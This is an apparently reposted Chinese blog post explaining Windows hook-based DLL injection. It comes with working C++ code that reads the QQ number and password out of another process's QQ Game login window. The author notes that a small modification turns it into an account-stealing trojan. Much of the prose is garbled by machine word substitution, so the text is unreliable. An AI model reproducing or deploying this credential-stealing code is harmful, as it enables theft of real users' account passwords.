查看内容

先发个程序运行效果图

  • 2020-01-27 02:48
  • 澳门新葡亰平台官网下载
  • Views

//通过HOOK获取QQ游戏登入密码
//by redice 2008.7.19
//redice@163.com

不是何等新鲜货了,只是想珍视提议一下钩子及 DLL的编写...

头阵个程序运行效果图:

图片 1
只可以先说一下API函数SendMessage:
运用SendMessage向编辑框窗口发送WM_GETTEST音讯,能够私行获得到编辑框的内容(尽管这一个窗口不归于同豆蔻梢头进度)。
可是有一个特例,那正是当编辑框窗口具备ES_PASSWO悍马H2D风格(即密码输入框)且不输入同意气风发进度时,使用方面包车型大巴点子就失效了。
通俗的说,正是当您要采取SendMessage读取的密码框不归属同叁个经过时,是读取不到任何内容的。
这或者是微软从平安角度思索做的手脚吧。

哪些解决这一个标题?
蓬蓬勃勃旦我们能将SendMessage放到对象经过中施行难题就解决了。因为归于同一个历程时使用SendMessage是能够读取到密码框的剧情的。
什么样将SendMessage放到对象经过中履可以吗?使用HOOK(或许经过注入State of Qatar。

至于钩子(HOOK卡塔尔

钩子(Hook卡塔尔国,是Windows消息管理体制的三个阳台,应用程序可以在地方安装子程以监视钦定窗口的某种音信,并且所监视的窗口能够是其他进度所开创的。
当音信到达后,在对象窗口管理函数以前管理它。钩子机制允许应用程序截获管理window音信或特定事件。
钩子实际上是三个拍卖音讯的程序段,通过系统调用,把它挂入系统。每当特定的新闻产生,在未有到达指标窗口前,钩子程序就先捕获该音信,亦即钩子函数先拿走调节权。

此刻钩子函数即能够加工管理(改动)该音讯,也得以不作管理而持续传递该新闻,还足以强迫结束音信的传递。

何以设置二个钩子?

选拔API函数SetWindowsHookEx,原型及参数表达如下
HHOOK SetWindowsHookEx(
int idHook, // 钩子的档期的顺序,本例接纳WH_CALLWNDPROC(窗口进度钩子)
HOOKPROC lpfn, // 钩子函数地址(即钩子函数的函数名)
HINSTANCE hMod, // 钩子函数所在的应用程序实例句柄,(本例为DLL的句柄)
DWO库罗德D dwThreadId // 指标线程ID,即钩子的宿主线程
);
留意:当最终一个参数为0时期表安装的是大局钩子,那个时候必要钩子函数一定要在DLL中。
MSDN上有关那一个函数的认证很详细的。

未雨筹划有备无患运动做完了。上边是本程序的落到实处:

(1) GetWindowTextRemote.DLL

该DLL导出了二个函数GetWindowTextRemote,其它应用程序通过调用那个函数就能够完毕对别的应用程序密码编辑框内容的读取。

//-------------------------------------------------------
// GetWindowTextRemote
// 插入本DLL到长途进度
// 从远程编辑框控件中赢得密码
//
// 重回值:读取到的密码字符数
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//给目的经过设置二个窗口进度钩子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '';
return 0;
}
//注册一个音讯,用于文告远程进度读取密码
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );

// 向远程进度发送读取新闻,触发其读取密码
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );

return strlen(lpString);
}

另二个最首要的函数就是钩子进度了:
//-------------------------------------------------------
// HookProc
// 由长途过程实践
//-------------------------------------------------------
#define pCW ((CWPSTRUCT*)lParam)

LRESULT HookProc (
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//选取到读取密码消息
if( pCW->message == WM_HOOKSPY ) {
MessageBeep(MB_OK);
//读取密码编辑框的内容
SendMessage( g_hWnd,WM_GETTEXT,128,(LPARAM)g_szPassword );
//卸载钩子
UnhookWindowsHookEx(g_hHook );
}
//将音信管理权转让给下一个钩子函数
return CallNextHookEx(g_hHook, code, wParam, lParam);
}

留意:安装Hook的长河加载DLL,其余进度在运营的过程中,由系统在该进度空间注入那些DLL。所谓注入正是把Hook DLL的执行代码映射到那些进度的内存空间。
尽管经过有多少个,不过该DLL的进行代码独有生机勃勃份。
不相同的经过全局Hook DLL的执行代码是分享的,不过全局变量并不分享(这样能够实现某种程度的割裂,对于增进系统的国家长期加强和安全性是很有必不可缺的)。

而是假诺全局变量不分享,进度通讯就能受限,举个例子本例中,在指标经过中运用SendMessage获取到的密码怎么着传递给安装HOOK的历程正是三个主题素材?

杀鸡取蛋这些题指标不二等秘书技就是使用分享节,通过分享节能够使整个变量完结分享。如下所示:

//-------------------------------------------------------
// 分享数据区
// 分享数据区中的数据在DLL被映射的长河中都是分享的
//-------------------------------------------------------
#pragma data_seg (".shared")
HWND g_hWnd = 0; //要读取的编排框控件句柄
HHOOK g_hHook = 0; //HOOK句柄
UINT WM_HOOKSPY = 0; //自定义新闻,通告远程进度读取编辑框控件的内容
char g_szPassword [256] = { '' }; //保存编辑框控件的缓存区
#pragma data_seg ()

运用分享节时要增加如下的链接选项:
#pragma comment(linker,"/SECTION:.shared,RWS")

到此,DLL的内就得了了。
在这里非常多谢codeproject的罗Bert Kuster,假如不是看了他的《Three Ways to Inject Your Code into Another Process》,也不会有自己的那篇日记。
全体的代码在附属类小构件中。

 

(2卡塔尔测量检验程序-获取QQ游戏登入密码

接下去正是大家的测量检验程序了,那个测验程序达成的机能正是“得到QQ游戏登陆框中的QQ号和密码”,那是叁个MFC程序,关键代码如下所示:

自身为何不到手QQ闲聊登陆窗口上的密码而要获取QQ游戏登陆窗口上的QQ密码吗?
那是因为QQ谈天登入时,QQ程序做了特别处理(Nprotect键盘加密手艺),使用HOOK也是读取不到密码的。但QQ游戏登入时却绝非如此的维护。

//先获得QQ游戏登陆窗口的句柄,然后遍历子窗口,查找号码输入框和密码输入框
void CGetWindowTextRemoteTestDlg::OnGetremotetext()
{
HWND parenthwnd=0;
HWND childhwnd=0;
DWORD style=0;
char tempbuf[256]={0};
//获取QQ游戏登入窗口句柄
parenthwnd=::FindWindow(NULL,"QQ游戏");
if(parenthwnd)
{
//遍历子窗口,查找QQ号和密码输入框
childhwnd=::GetWindow(parenthwnd,GW_CHILD);
childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);
while(childhwnd)
{
memset(tempbuf,0,256);
::GetClassName(childhwnd,tempbuf,256);
style=::GetWindowLong(childhwnd,GWL_STYLE);
//号码输入框
//远程进程的非密码框内容能够平素运用SendMessage发送WM_GETTEXT获取到
if(0x50010202==styleState of Qatar//号码输入框的体裁是0x50010202,这是应用Spy++查看得到消息的。
{
memset(tempbuf,0,256);
::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);
this->SetDlgItemText(IDC_NUMBER,tempbuf);
}
//密码输入框
//远程进度的密码框内容采取HOOK WH_CALLWNDPROC获取
if(0x52010020==style)
{
Getremotetext(childhwnd,tempbuf);
this->SetDlgItemText(IDC_PASSWORD,tempbuf);
}
childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);
}
}
}
//动态调用GetWindowTextRemote.DLL中的GetWindowTextRemote函数读取远程进度的密码编辑框内容
int Getremotetext(HWND hwnd,LPSTR tempbuf)
{
typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);
GetWindowTextRemote getwindowtextremote=NULL;
HINSTANCE hDll=0;
int ret=0;
hDll=::LoadLibrary("GetWindowTextRemote.dll");
getwindowtextremote=(GetWindowTextRemote)::GetProcAddress(hDll,"GetWindowTextRemote");
ret=getwindowtextremote(hwnd,tempbuf);
::FreeLibrary(hDll);
return ret;
}

ok,到这边整个得了了。那么些程序做生龙活虎校正就是个盗号木马。写那篇日记仅作沟通,本身不肩负其余权利。

附件:

附属类小零部件传不上来,一传就棉被和衣服务器杀毒软件干掉了。须要代码的给我发邮件.

本博客于前天起(二零零六.2.26卡塔尔甘休更新,

新博客地址:http://www.redicecn.cn ,

本博客的超越贰分一篇章已经转移到新博客中...

上一篇:即使再开心我也不会表现得喜出望外 下一篇:没有了